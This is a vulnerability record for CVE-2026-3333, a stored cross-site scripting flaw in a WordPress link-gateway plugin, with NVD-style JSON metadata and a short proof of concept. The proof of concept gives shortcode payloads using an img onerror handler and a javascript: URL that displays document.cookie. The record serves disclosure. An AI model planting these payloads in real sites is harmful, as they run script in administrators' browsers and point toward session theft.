CVE-2026-3333

<!-- PoC for CVE-2026-3333: Stored XSS in MinhNhut Link Gateway plugin --> <!-- Attacker with Contributor level access adds a post with the following shortcode --> [linkgate id="1" title="<img src=x onerror=alert('CVE-2026-3333')>"] <!-- Alternatively, injecting a script payload --> [linkgate url="javascript:alert(document.cookie)"]Click Me[/linkgate] <!-- When an admin visits the page, the alert triggers, demonstrating the XSS -->

{"cve": {"id": "CVE-2026-3333", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:20.083", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MinhNhut Link Gateway plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linkgate' shortcode in all versions up to, and including, 3.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin MinhNhut Link Gateway para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'linkgate' del plugin en todas las versiones hasta la 3.6.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/minhnhut-link-gateway/trunk/classes.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/minhnhut-link-gateway/trunk/templates/default/index.php#L9", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/91f45973-5a98-4fdd-88fd-83b95f6d77e7?source=cve", "source": "[email protected]"}]}}